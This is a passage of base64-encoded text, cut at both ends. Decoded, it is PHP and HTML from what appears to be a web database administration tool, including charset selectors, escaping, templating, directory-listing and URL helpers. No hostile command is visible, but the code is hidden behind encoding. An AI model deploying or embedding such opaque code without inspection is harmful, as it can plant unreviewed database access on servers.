WRVJbJ1JFUVVFU1RfVVJJJ10pOz8+JyI+DQoJCTxvcHRpb24gdmFsdWU9IiI+PC9vcHRpb24+PD9waHAgZWNobyBvcHRpb25zKCRjaGFyc2V0MSwgJGRiX2NoYXJzZXQpOz8+PC9zZWxlY3Q+DQoJCSZuYnNwOy0mbmJzcDsNCgkJUGFnZSBjaGFyc2V0OiA8c2VsZWN0IG5hbWU9InBhZ2VfY2hhcnNldCIgb25jaGFuZ2U9ImxvY2F0aW9uPSc8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+P3BhZ2VfY2hhcnNldD0nK3RoaXMudmFsdWUrJyZmcm9tPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTs/PiciPg0KCQk8b3B0aW9uIHZhbHVlPSIiPjwvb3B0aW9uPjw/cGhwIGVjaG8gb3B0aW9ucygkY2hhcnNldDIsICRwYWdlX2NoYXJzZXQpOz8+PC9zZWxlY3Q+DQoJCSZuYnNwOy0mbmJzcDsNCgkJPGEgY2xhc3M9Ymx1ZSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+P2Rpc2Nvbm5lY3Q9MSI+RGlzY29ubmVjdDwvYT4NCgk8L3A+DQoJPD9waHANCn0NCmZ1bmN0aW9uIHNpemUoJGJ5dGVzKQ0Kew0KCXJldHVybiBudW1iZXJfZm9ybWF0KGNlaWwoJGJ5dGVzIC8gMTAyNCksMCwnJywnLCcpLicgS0InOw0KfQ0KZnVuY3Rpb24gaHRtbCgkcykNCnsNCgkkaHRtbCA9IGFycmF5KA0KCQknJicgPT4gJyZhbXA7JywNCgkJJzwnID0+ICcmbHQ7JywNCgkJJz4nID0+ICcmZ3Q7JywNCgkJJyInID0+ICcmcXVvdDsnLA0KCQknXCcnID0+ICcmIzAzOTsnDQoJKTsNCgkkcyA9IHByZWdfcmVwbGFjZSgnLyYjKFxkKykvJywgJ0BAQEBAIyQxJywgJHMpOw0KCSRzID0gc3RyX3JlcGxhY2UoYXJyYXlfa2V5cygkaHRtbCksIGFycmF5X3ZhbHVlcygkaHRtbCksICRzKTsNCgkkcyA9IHByZWdfcmVwbGFjZSgnL0BAQEBAIyhcZCspLycsICcmIyQxJywgJHMpOw0KCXJldHVybiB0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIGh0bWxfdW5kbygkcykNCnsNCgkkaHRtbCA9IGFycmF5KA0KCQknJicgPT4gJyZhbXA7JywNCgkJJzwnID0+ICcmbHQ7JywNCgkJJz4nID0+ICcmZ3Q7JywNCgkJJyInID0+ICcmcXVvdDsnLA0KCQknXCcnID0+ICcmIzAzOTsnDQoJKTsNCglyZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXlfdmFsdWVzKCRodG1sKSwgYXJyYXlfa2V5cygkaHRtbCksICRzKTsNCn0NCmZ1bmN0aW9uIGh0bWxfb25jZSgkcykNCnsNCgkkcyA9IHN0cl9yZXBsYWNlKGFycmF5KCcmbHQ7JywnJmd0OycsJyZhbXA7bHQ7JywnJmFtcDtndDsnKSxhcnJheSgnPCcsJz4nLCcmbHQ7JywnJmd0OycpLCRzKTsNCglyZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyZsdDsnLCcmZ3Q7JywnPCcsJz4nKSxhcnJheSgnJmFtcDtsdDsnLCcmYW1wO2d0OycsJyZsdDsnLCcmZ3Q7JyksJHMpOw0KfQ0KZnVuY3Rpb24gaHRtbF90YWdzKCRzKQ0Kew0KCS8vIHN1Y2Nlc3Npb24gb2Ygc3RyX3JlcGxhY2UgYXJyYXkgaXMgaW1wb3J0YW50ISBkb3VibGUgZXNjYXBlIGJ1Zy4uDQoJcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCcmbHQ7JywnJmd0OycsJzwnLCc+JyksIGFycmF5KCcmYW1wO2x0OycsJyZhbXA7Z3Q7JywnJmx0OycsJyZndDsnKSwgJHMpOw0KfQ0KZnVuY3Rpb24gaHRtbF90YWdzX3VuZG8oJHMpDQp7DQoJcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCcmbHQ7JywnJmd0OycsJyZhbXA7bHQ7JywgJyZhbXA7Z3Q7JyksIGFycmF5KCc8JywnPicsJyZsdDsnLCcmZ3Q7JyksICRzKTsNCn0NCmZ1bmN0aW9uIGh0bWxfYWxsb3dfdGFncygkcywgJGFsbG93KQ0Kew0KCSRzID0gaHRtbF9vbmNlKHRyaW0oJHMpKTsNCglwcmVnX21hdGNoX2FsbCgnIzwoW2Etel0rKT4jaScsICRhbGxvdywgJG1hdGNoKTsNCglmb3JlYWNoICgkbWF0Y2hbMV0gYXMgJHRhZykgew0KCQkkcyA9IHByZWdfcmVwbGFjZSgnIyZsdDsnLiR0YWcuJ1xzK3N0eWxlXHMqPVxzKiZxdW90OyhbXiI8Pl0rKSZxdW90O1xzKiZndDsjaScsICc8Jy4kdGFnLicgc3R5bGU9IiQxIj4nLCAkcyk7DQoJCSRzID0gc3RyX3JlcGxhY2UoJyZsdDsnLiR0YWcuJyZndDsnLCAnPCcuJHRhZy4nPicsICRzKTsNCgkJJHMgPSBzdHJfcmVwbGFjZSgnJmx0Oy8nLiR0YWcuJyZndDsnLCAnPC8nLiR0YWcuJz4nLCAkcyk7DQoJfQ0KCXJldHVybiAkczsNCn0NCmZ1bmN0aW9uIHN0cl90cnVuY2F0ZSgkc3RyaW5nLCAkbGVuZ3RoLCAkZXRjID0gJyAuLicsICRicmVha193b3JkcyA9IHRydWUpDQp7DQoJaWYgKCRsZW5ndGggPT0gMCkgew0KCQlyZXR1cm4gJyc7DQoJfQ0KCWlmIChzdHJsZW4oJHN0cmluZykgPiAkbGVuZ3RoICsgc3RybGVuKCRldGMpKSB7DQoJCWlmICghJGJyZWFrX3dvcmRzKSB7DQoJCQkkc3RyaW5nID0gcHJlZ19yZXBsYWNlKCcvXHMrPyhcUyspPyQvJywgJycsIHN1YnN0cigkc3RyaW5nLCAwLCAkbGVuZ3RoKzEpKTsNCgkJfQ0KCQlyZXR1cm4gc3Vic3RyKCRzdHJpbmcsIDAsICRsZW5ndGgpIC4gJGV0YzsNCgl9DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpmdW5jdGlvbiBzdHJfYmluZCgkcywgJGRhdCA9IGFycmF5KCksICRzdHJpY3QgPSBmYWxzZSwgJHJlY3VyID0gMCkNCnsNCglpZiAoIWlzX2FycmF5KCRkYXQpKSB7DQoJCXJldHVybiB0cmlnZ2VyX2Vycm9yKCdzdHJfYmluZCgpIGZhaWxlZC4gU2Vjb25kIGFyZ3VtZW50IGV4cGVjdHMgdG8gYmUgYW4gYXJyYXkuJywgRV9VU0VSX0VSUk9SKTsNCgl9DQoJaWYgKCRzdHJpY3QpIHsNCgkJZm9yZWFjaCAoJGRhdCBhcyAkayA9PiAkdikgew0KCQkJaWYgKHN0cnBvcygkcywgIiUkayUiKSA9PT0gZmFsc2UpIHsNCgkJCQlyZXR1cm4gdHJpZ2dlcl9lcnJvcihzcHJpbnRmKCdzdHJfYmluZCgpIGZhaWxlZC4gU3RyaWN0IG1vZGUgT24uIEtleSBub3QgZm91bmQgPSAlcy4gU3RyaW5nID0gJXMuIERhdGEgPSAlcy4nLCAkaywgJHMsIHByaW50X3IoJGRhdCwgMSkpLCBFX1VTRVJfRVJST1IpOw0KCQkJfQ0KCQkJJHMgPSBzdHJfcmVwbGFjZSgiJSRrJSIsICR2LCAkcyk7DQoJCX0NCgkJaWYgKHByZWdfbWF0Y2goJyMlXHcrJSMnLCAkcywgJG1hdGNoKSkgew0KCQkJcmV0dXJuIHRyaWdnZXJfZXJyb3Ioc3ByaW50Zignc3RyX2JpbmQoKSBmYWlsZWQuIFVuYXNzaWduZWQgZGF0YSBmb3IgPSAlcy4gU3RyaW5nID0gJXMuJywgJG1hdGNoWzBdLCAkc0Jhc2UpLCBFX1VTRVJfRVJST1IpOw0KCQl9DQoJCXJldHVybiAkczsNCgl9DQoNCgkkc0Jhc2UgPSAkczsNCglwcmVnX21hdGNoX2FsbCgnIyVcdyslIycsICRzLCAkbWF0Y2gpOw0KCSRrZXlzID0gJG1hdGNoWzBdOw0KCSRudW0gPSBhcnJheSgpOw0KDQoJZm9yZWFjaCAoJGtleXMgYXMgJGtleSkNCgl7DQoJCSRrZXkyID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJGtleSk7DQoJCWlmIChpc19udW1lcmljKCRrZXkyKSkgJG51bVska2V5XSA9IHRydWU7DQoJCS8qIGlnbm9yZSENCgkJaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXkyLCAkZGF0KSkgew0KCQkJcmV0dXJuIHRyaWdnZXJfZXJyb3Ioc3ByaW50Zignc3RyX2JpbmQoKSBmYWlsZWQuIE5vIGRhdGEgZm91bmQgZm9yIGtleTogJXMuIFN0cmluZzogJXMuJywgJGtleSwgJHNCYXNlKSwgRV9VU0VSX0VSUk9SKTsNCgkJfQ0KCQkqLw0KCQkkdmFsID0gJGRhdFska2V5Ml07DQoJCS8qIGluc2VjdXJlIQ0KCQlpZiAocHJlZ19tYXRjaCgnIyVcdyslIycsICR2YWwpICYmICRyZWN1ciA8IDUpIHsNCgkJCSR2YWwgPSBzdHJfYmluZCgkdmFsLCAkZGF0LCAkc3RyaWN0LCArKyRyZWN1cik7DQoJCX0NCgkJKi8NCgkJJHMgPSBzdHJfcmVwbGFjZSgka2V5LCAkdmFsLCAkcyk7DQoJfQ0KCWlmIChjb3VudCgkbnVtKSkgew0KCQlpZiAoY291bnQoJGRhdCkgIT0gY291bnQoJG51bSkpIHsNCgkJCXJldHVybiB0cmlnZ2VyX2Vycm9yKCdzdHJfYmluZCgpIGZhaWxlZC4gV2hlbiB1c2luZyBudW1lcmljIGRhdGEgYmluZGluZyB5b3UgbmVlZCB0byB1c2UgYWxsIGRhdGEgcGFzc2VkIHRvIHRoZSBzdHJpbmcuIFlvdSBhbHNvIGNhbm5vdCBtaXggbnVtZXJpYyBhbmQgbmFtZSBiaW5kaW5nLicsIEVfVVNFUl9FUlJPUik7DQoJCX0NCgl9DQoNCglpZiAocHJlZ19tYXRjaCgnIyVcdyslIycsICRzLCAkbWF0Y2gpKSB7DQoJCS8qIGlnbm9yZSEgcmV0dXJuIHRyaWdnZXJfZXJyb3Ioc3ByaW50Zignc3RyX2JpbmQoKSBmYWlsZWQuIFVuYXNzaWduZWQgZGF0YSBmb3IgPSAlcy4gU3RyaW5nID0gJXMuIERhdGEgPSAlcy4nLCAkbWF0Y2hbMF0sIGh0bWxzcGVjaWFsY2hhcnMocHJpbnRfcigkc0Jhc2UsIHRydWUpKSwgcHJpbnRfcigkZGF0LCB0cnVlKSksIEVfVVNFUl9FUlJPUik7Ki8NCgl9DQoNCglyZXR1cm4gJHM7DQp9DQpmdW5jdGlvbiBkaXJfcmVhZCgkZGlyLCAkaWdub3JlX2V4dCA9IGFycmF5KCksICRhbGxvd19leHQgPSBhcnJheSgpLCAkc29ydCA9IG51bGwpDQp7DQoJaWYgKGlzX251bGwoJGlnbm9yZV9leHQpKSAkaWdub3JlX2V4dCA9IGFycmF5KCk7DQoJaWYgKGlzX251bGwoJGFsbG93X2V4dCkpICRhbGxvd19leHQgPSBhcnJheSgpOw0KCWZvcmVhY2ggKCRhbGxvd19leHQgYXMgJGsgPT4gJGV4dCkgew0KCQkkYWxsb3dfZXh0WyRrXSA9IHN0cl9yZXBsYWNlKCcuJywgJycsICRleHQpOw0KCX0NCg0KCSRyZXQgPSBhcnJheSgpOw0KCWlmICgkaGFuZGxlID0gb3BlbmRpcigkZGlyKSkgew0KCQl3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkgIT09IGZhbHNlKSB7DQoJCQlpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsNCgkJCQkkaWdub3JlID0gZmFsc2U7DQoJCQkJZm9yZWFjaCAoJGlnbm9yZV9leHQgYXMgJGV4dCkgew0KCQkJCQlpZiAoZmlsZV9leHRfaGFzKCRmaWxlLCAkZXh0KSkgew0KCQkJCQkJJGlnbm9yZSA9IHRydWU7DQoJCQkJCX0NCgkJCQl9DQoJCQkJaWYgKGlzX2FycmF5KCRhbGxvd19leHQpICYmIGNvdW50KCRhbGxvd19leHQpICYmICFpbl9hcnJheShmaWxlX2V4dCgkZmlsZSksICRhbGxvd19leHQpKSB7DQoJCQkJCSRpZ25vcmUgPSB0cnVlOw0KCQkJCX0NCgkJCQlpZiAoISRpZ25vcmUpIHsNCgkJCQkJJHJldFtdID0gYXJyYXkoDQoJCQkJCQknZmlsZScgPT4gJGRpci4nLycuJGZpbGUsDQoJCQkJCQkndGltZScgPT4gZmlsZW10aW1lKCRkaXIuJy8nLiRmaWxlKQ0KCQkJCQkpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcigkaGFuZGxlKTsNCgl9DQoJaWYgKCdkYXRlX2Rlc2MnID09ICRzb3J0KSB7DQoJCSRyZXQgPSBhcnJheV9zb3J0X2Rlc2MoJHJldCwgJ3RpbWUnKTsNCgl9DQoJcmV0dXJuIGFycmF5X2NvbCgkcmV0LCAnZmlsZScpOw0KfQ0KZnVuY3Rpb24gYXJyYXlfY29sKCRhcnIsICRjb2wpDQp7DQoJJHJldCA9IGFycmF5KCk7DQoJZm9yZWFjaCAoJGFyciBhcyAkayA9PiAkcm93KSB7DQoJCSRyZXRbXSA9ICRyb3dbJGNvbF07DQoJfQ0KCXJldHVybiAkcmV0Ow0KfQ0KZnVuY3Rpb24gYXJyYXlfc29ydCgkYXJyLCAkY29sX2tleSkNCnsNCglpZiAoaXNfYXJyYXkoJGNvbF9rZXkpKSB7DQoJCWZvcmVhY2ggKCRhcnIgYXMgJGsgPT4gJHYpIHsNCgkJCSRhcnJbJGtdWydfX2FycmF5X3NvcnQnXSA9ICcnOw0KCQkJZm9yZWFjaCAoJGNvbF9rZXkgYXMgJGNvbCkgew0KCQkJCSRhcnJbJGtdWydfX2FycmF5X3NvcnQnXSAuPSAkYXJyWyRrXVskY29sXS4nXyc7DQoJCQl9DQoJCX0NCgkJJGNvbF9rZXkgPSAnX19hcnJheV9zb3J0JzsNCgl9DQoJdWFzb3J0KCRhcnIsIGNyZWF0ZV9mdW5jdGlvbignJGEsJGInLCAnaWYgKGlzX251bGwoJGFbIicuJGNvbF9rZXkuJyJdKSAmJiAhaXNfbnVsbCgkYlsiJy4kY29sX2tleS4nIl0pKSByZXR1cm4gMTsgaWYgKCFpc19udWxsKCRhWyInLiRjb2xfa2V5LiciXSkgJiYgaXNfbnVsbCgkYlsiJy4kY29sX2tleS4nIl0pKSByZXR1cm4gLTE7IHJldHVybiBzdHJuYXRjYXNlY21wKCRhWyInLiRjb2xfa2V5LiciXSwgJGJbIicuJGNvbF9rZXkuJyJdKTsnKSk7DQoJaWYgKCdfX2FycmF5X3NvcnQnID09ICRjb2xfa2V5KSB7DQoJCWZvcmVhY2ggKCRhcnIgYXMgJGsgPT4gJHYpIHsNCgkJCXVuc2V0KCRhcnJbJGtdWydfX2FycmF5X3NvcnQnXSk7DQoJCX0NCgl9DQoJcmV0dXJuICRhcnI7DQp9DQpmdW5jdGlvbiBhcnJheV9zb3J0X2Rlc2MoJGFyciwgJGNvbF9rZXkpDQp7DQoJaWYgKGlzX2FycmF5KCRjb2xfa2V5KSkgew0KCQlmb3JlYWNoICgkYXJyIGFzICRrID0+ICR2KSB7DQoJCQkkYXJyWyRrXVsnX19hcnJheV9zb3J0J10gPSAnJzsNCgkJCWZvcmVhY2ggKCRjb2xfa2V5IGFzICRjb2wpIHsNCgkJCQkkYXJyWyRrXVsnX19hcnJheV9zb3J0J10gLj0gJGFyclska11bJGNvbF0uJ18nOw0KCQkJfQ0KCQl9DQoJCSRjb2xfa2V5ID0gJ19fYXJyYXlfc29ydCc7DQoJfQ0KCXVhc29ydCgkYXJyLCBjcmVhdGVfZnVuY3Rpb24oJyRhLCRiJywgJ3JldHVybiBzdHJuYXRjYXNlY21wKCRiWyInLiRjb2xfa2V5LiciXSwgJGFbIicuJGNvbF9rZXkuJyJdKTsnKSk7DQoJaWYgKCdfX2FycmF5X3NvcnQnID09ICRjb2xfa2V5KSB7DQoJCWZvcmVhY2ggKCRhcnIgYXMgJGsgPT4gJHYpIHsNCgkJCXVuc2V0KCRhcnJbJGtdWydfX2FycmF5X3NvcnQnXSk7DQoJCX0NCgl9DQoJcmV0dXJuICRhcnI7DQp9DQpmdW5jdGlvbiBvcHRpb25zKCRvcHRpb25zLCAkc2VsZWN0ZWQgPSBudWxsLCAkaWdub3JlX3R5cGUgPSBmYWxzZSkNCnsNCgkkcmV0ID0gJyc7DQoJZm9yZWFjaCAoJG9wdGlvbnMgYXMgJGsgPT4gJHYpIHsNCgkJLy9zdHJfcmVwbGFjZSgnIicsICdcIicsICRrKQ0KCQkkcmV0IC49ICc8b3B0aW9uIHZhbHVlPSInLiRrLiciJzsNCgkJaWYgKChpc19hcnJheSgkc2VsZWN0ZWQpICYmIGluX2FycmF5KCRrLCAkc2VsZWN0ZWQpKSB8fCAoIWlzX2FycmF5KCRzZWxlY3RlZCkgJiYgJGsgPT0gJHNlbGVjdGVkICYmICRzZWxlY3RlZCAhPT0gJycgJiYgJHNlbGVjdGVkICE9PSBudWxsKSkgew0KCQkJaWYgKCRpZ25vcmVfdHlwZSkgew0KCQkJCSRyZXQgLj0gJyBzZWxlY3RlZD0ic2VsZWN0ZWQiJzsNCgkJCX0gZWxzZSB7DQoJCQkJaWYgKCEoaXNfbnVtZXJpYygkaykgeG9yIGlzX251bWVyaWMoJHNlbGVjdGVkKSkpIHsNCgkJCQkJJHJldCAuPSAnIHNlbGVjdGVkPSJzZWxlY3RlZCInOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmV0IC49ICc+Jy4kdi4nIDwvb3B0aW9uPic7DQoJfQ0KCXJldHVybiAkcmV0Ow0KfQ0KZnVuY3Rpb24gc3FsX2ZpbGVzKCkNCnsNCgkkZmlsZXMgPSBkaXJfcmVhZCgnLicsIG51bGwsIGFycmF5KCcuc3FsJykpOw0KCSRmaWxlczIgPSBhcnJheSgpOw0KCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkkZmlsZXMyW21kNSgkZmlsZSldID0gJGZpbGUuc3ByaW50ZignICglcyknLCBzaXplKGZpbGVzaXplKCRmaWxlKSkpOw0KCX0NCglyZXR1cm4gJGZpbGVzMjsNCn0NCmZ1bmN0aW9uIHNxbF9maWxlc19hc3NvYygpDQp7DQoJJGZpbGVzID0gZGlyX3JlYWQoJy4nLCBudWxsLCBhcnJheSgnLnNxbCcpKTsNCgkkZmlsZXMyID0gYXJyYXkoKTsNCglmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJJGZpbGVzMlttZDUoJGZpbGUpXSA9ICRmaWxlOw0KCX0NCglyZXR1cm4gJGZpbGVzMjsNCn0NCmZ1bmN0aW9uIGZpbGVfZXh0KCRuYW1lKQ0Kew0KCSRleHQgPSBudWxsOw0KCWlmICgoJHBvcyA9IHN0cnJwb3MoJG5hbWUsICcuJykpICE9PSBmYWxzZSkgew0KCQkkbGVuID0gc3RybGVuKCRuYW1lKSAtICgkcG9zKzEpOw0KCQkkZXh0ID0gc3Vic3RyKCRuYW1lLCAtJGxlbik7DQoJCWlmICghcHJlZ19tYXRjaCgnI15bYS16MC05XSskI2knLCAkZXh0KSkgew0KCQkJcmV0dXJuIG51bGw7DQoJCX0NCgl9DQoJcmV0dXJuICRleHQ7DQp9DQpmdW5jdGlvbiBjaGVja2VkKCRib29sKQ0Kew0KCWlmICgkYm9vbCkgcmV0dXJuICdjaGVja2VkPSJjaGVja2VkIic7DQp9DQpmdW5jdGlvbiByYWRpb19hc3NvYygkY2hlY2tlZCwgJGFzc29jLCAkaW5wdXRfbmFtZSwgJGxpbmsgPSBmYWxzZSkNCnsNCgkkcmV0ID0gJzx0YWJsZSBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPjx0cj4nOw0KCWZvcmVhY2ggKCRhc3NvYyBhcyAkaWQgPT4gJG5hbWUpDQoJew0KCQkkcGFyYW1zID0gYXJyYXkoDQoJCQknaWQnID0+ICRpZCwNCgkJCSduYW1lJyA9PiAkbmFtZSwNCgkJCSdjaGVja2VkJyA9PiBjaGVja2VkKCRjaGVja2VkID09ICRpZCksDQoJCQknaW5wdXRfbmFtZScgPT4gJGlucHV0X25hbWUNCgkJKTsNCgkJaWYgKCRsaW5rKSB7DQoJCQlpZiAoaXNfYXJyYXkoJGxpbmspKSB7DQoJCQkJJHBhcmFtc1snbGluayddID0gJGxpbmtbJGlkXTsNCgkJCX0gZWxzZSB7DQoJCQkJJHBhcmFtc1snbGluayddID0gc3ByaW50ZigkbGluaywgJGlkLCAkbmFtZSk7DQoJCQl9DQoJCQkkcmV0IC49IHN0cl9iaW5kKCc8dGQ+PGlucHV0IGNsYXNzPSJjaGVja2JveCIgdHlwZT0icmFkaW8iIG5hbWU9IiVpbnB1dF9uYW1lJSIgaWQ9IiVpbnB1dF9uYW1lJV8laWQlIiB2YWx1ZT0iJWlkJSIgJWNoZWNrZWQlPjwvdGQ+PHRkPiVsaW5rJSZuYnNwOzwvdGQ+JywgJHBhcmFtcyk7DQoJCX0gZWxzZSB7DQoJCQkkcmV0IC49IHN0cl9iaW5kKCc8dGQ+PGlucHV0IGNsYXNzPSJjaGVja2JveCIgdHlwZT0icmFkaW8iIG5hbWU9IiVpbnB1dF9uYW1lJSIgaWQ9IiVpbnB1dF9uYW1lJV8laWQlIiB2YWx1ZT0iJWlkJSIgJWNoZWNrZWQlPjwvdGQ+PHRkPjxsYWJlbCBmb3I9IiVpbnB1dF9uYW1lJV8laWQlIj4lbmFtZSU8L2xhYmVsPiZuYnNwOzwvdGQ+JywgJHBhcmFtcyk7DQoJCX0NCgl9DQoJJHJldCAuPSAnPC90cj48L3RhYmxlPic7DQoJcmV0dXJuICRyZXQ7DQp9DQpmdW5jdGlvbiBzZWxmKCRjdXRfcXVlcnkgPSBmYWxzZSkNCnsNCgkkdXJpID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQoJaWYgKCRjdXRfcXVlcnkpIHsNCgkJJGJlZm9yZSA9IHN0cl9iZWZvcmUoJHVyaSwgJz8nKTsNCgkJaWYgKCRiZWZvcmUpIHsNCgkJCXJldHVybiAkYmVmb3JlOw0KCQl9DQoJfQ0KCXJldHVybiAkdXJpOw0KfQ0KZnVuY3Rpb24gdXJsKCRzY3JpcHQsICRwYXJhbXMgPSBhcnJheSgpKQ0Kew0KCSRxdWVyeSA9ICcnOw0KDQoJLyogcmVtb3ZlIGZyb20gc2NyaXB0IHVybCwgYWN0dWFsIHBhcmFtcyBpZiBleGlzdCAqLw0KCWZvcmVhY2ggKCRwYXJhbXMgYXMgJGsgPT4gJHYpIHsNCgkJJGV4cCA9IHNwcmludGYoJyMoXD98Jiklcz1bXiZdKiNpJywgJGspOw0KCQlpZiAocHJlZ19tYXRjaCgkZXhwLCAkc2NyaXB0KSkgew0KCQkJJHNjcmlwdCA9IHByZWdfcmVwbGFjZSgkZXhwLCAnJywgJHNjcmlwdCk7DQoJCX0NCgl9DQoNCgkvKiByZXBhaXIgdXJsIGxpa2UgJ3NjcmlwdC5waHAmaWQ9MTImYXNkPTEzMycgKi8NCgkkZXhwID0gJyNcP1x3Kz1bXiZdKiNpJzsNCgkkZXhwMiA9ICcjJihcdys9W14mXSopI2knOw0KCWlmICghcHJlZ19tYXRjaCgkZXhwLCAkc2NyaXB0KSAmJiBwcmVnX21hdGNoKCRleHAyLCAkc2NyaXB0KSkgew0KCQkkc2NyaXB0ID0gcHJlZ19yZXBsYWNlKCRleHAyLCAnPyQxJywgJHNjcmlwdCwgMSk7DQoJfQ0KDQoJZm9yZWFjaCAoJHBhcmFtcyBhcyAkayA9PiAkdikgew0KCQlpZiAoIXN0cmxlbigkdikpIGNvbnRpbnVlOw0KCQlpZiAoJHF1ZXJ5KSB7ICRxdWVyeSAuPSAnJic7IH0NCgkJZWxzZSB7DQoJCQlpZiAoc3RycG9zKCRzY3JpcHQsICc/JykgPT09IGZhbHNlKSB7DQoJCQkJJHF1ZXJ5IC49ICc/JzsNCgkJCX0gZWxzZSB7DQoJCQkJJHF1ZXJ5IC49ICcmJzsNCgkJCX0NCgkJfQ0KCQlpZiAoJyVzJyAhPSAkdikgew0KCQkJJHYgPSB1cmxlbmNvZGUoJHYpOw0KCQl9DQoJCSR2ID0gcHJlZ19yZXBsYWNlKCcjJTI1KFx3KyklMjUjaScsICclJDElJywgJHYpOyAvLyAlaWRfbmV3cyUgZXRjLiB1c2VkIGluIGxpc3RpbmcNCgkJJHF1ZXJ5IC49IHNwcmludGYoJyVzPSVzJywgJGssICR2KTsNCgl9DQoJcmV0dXJuICRzY3JpcHQuJHF1ZXJ5Ow0KfQ0KZnVuY3Rpb24gdXJsX29mZnNldCgkb2Zmc2V0LCAkcGFyYW1zID0gYXJyYXkoKSkNCnsNCgkkdXJsID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQoJaWYgKHByZWdfbWF0Y2goJyMmb2Zmc2V0PVxkKyMnLCAkdXJsKSkgew0KCQkkdXJsID0gcHJlZ19yZXBsYWNlKCcjJm9mZnNldD1cZCsjJywgJyZvZmZzZXQ9Jy4kb2Zmc2V0LCAkdXJsKTsNCgl9IGVsc2Ugew0KCQkkdXJsIC49ICcmb2Zmc2V0PScuJG9mZnNldDsNCgl9DQoJcmV0dXJuICR1cmw7DQp9DQpmdW5jdGlvbiBzdHJfd3JhcCgkcywgJHdpZHRoLCAkYnJlYWsgPSAnICcsICRvbWl0X3RhZ3MgPSBmYWxzZSkNCnsNCgkvLyRyZXN0YXJ0ID0gYXJyYXkoJyAnLCAiXHQiLCAiXHIiLCAiXG4iKTsNCgkkcmVzdGFydCA9IGFycmF5KCk7DQoJJGNudCA9IDA7DQoJJHJldCA9ICcnOw0KCSRvcGVuX3RhZyA9IGZhbHNlOw0KCSRpbnNpZGVfbGluayA9IGZhbHNlOw0KCWZvciAoJGk9MDsgJGk8c3RybGVuKCRzKTsgJGkrKykNCgl7DQoJCSRjaGFyID0gJHNbJGldOw0KCQkkbmV4dGNoYXIgPSBpc3NldCgkc1skaSsxXSkgPyAkc1skaSsxXSA6IG51bGw7DQoJCSRuZXh0Y2hhcjIgPSBpc3NldCgkc1skaSsyXSkgPyAkc1skaSsyXSA6IG51bGw7DQoNCgkJaWYgKCRvbWl0X3RhZ3MpDQoJCXsNCgkJCWlmICgkY2hhciA9PSAnPCcpIHsNCgkJCQkkb3Blbl90YWcgPSB0cnVlOw0KCQkJCWlmICgnYScgPT0gJG5leHRjaGFyKSB7DQoJCQkJCSRpbnNpZGVfbGluayA9IHRydWU7DQoJCQkJfSBlbHNlIGlmICgnLycgPT0gJG5leHRjaGFyICYmICdhJyA9PSAkbmV4dGNoYXIyKSB7DQoJCQkJCSRpbnNpZGVfbGluayA9IGZhbHNlOw0KCQkJCX0NCgkJCX0NCgkJCWlmICgkY2hhciA9PSAnPicpIHsNCgkJCQkkb3Blbl90YWcgPSBmYWxzZTsNCgkJCX0NCgkJCWlmICgkb3Blbl90YWcpIHsNCgkJCQkkcmV0IC49ICRjaGFyOw0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQl9DQoNCgkJaWYgKGluX2FycmF5KCRjaGFyLCAkcmVzdGFydCkpIHsNCgkJCSRjbnQgPSAwOw0KCQl9IGVsc2Ugew0KCQkJJGNudCsrOw0KCQl9DQoJCSRyZXQgLj0gJGNoYXI7DQoJCWlmICgkY250ID4gJHdpZHRoKSB7DQoJCQlpZiAoISRpbnNpZGVfbGluaykgew0KCQkJCS8vIEluc2lkZSBsaW5rLCBkbyBub3QgYnJlYWsgaXQuDQoJCQkJJHJldCAuPSAkYnJlYWs7DQoJCQkJJGNudCA9IDA7DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuICRyZXQ7DQp9DQpmdW5jdGlvbiB0aW1lX21pY3JvKCkNCnsNCglsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7DQoJcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQp9DQpmdW5jdGlvbiB0aW1lX3N0YXJ0KCkNCnsNCglyZXR1cm4gdGltZV9taWNybygpOw0KfQ0KZnVuY3Rpb24gdGltZV9lbmQoJHN0YXJ0KQ0Kew0KCSRlbmQgPSB0aW1lX21pY3JvKCk7DQoJJGVuZCA9IHJvdW5kKCRlbmQgLSAkc3RhcnQsIDMpOw0KCSRlbmQgPSBwYWRfemVyb3MoJGVuZCwgMyk7DQoJcmV0dXJuICRlbmQ7DQp9DQpmdW5jdGlvbiBzdHJfaGFzKCRzdHIsICRuZWVkbGUsICRpZ25vcmVfY2FzZSA9IGZhbHNlKQ0Kew0KCWlmIChpc19hcnJheSgkbmVlZGxlKSkgew0KCQlmb3JlYWNoICgkbmVlZGxlIGFzICRuKSB7DQoJCQlpZiAoIXN0cl9oYXMoJHN0ciwgJG4sICRpZ25vcmVfY2FzZSkpIHsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIHRydWU7DQoJfQ0KCWlmICgkaWdub3JlX2Nhc2UpIHsNCgkJJHN0ciA9IHN0cl9sb3dlcigkc3RyKTsNCgkJJG5lZWRsZSA9IHN0cl9sb3dlcigkbmVlZGxlKTsNCgl9DQoJcmV0dXJuIHN0cnBvcygkc3R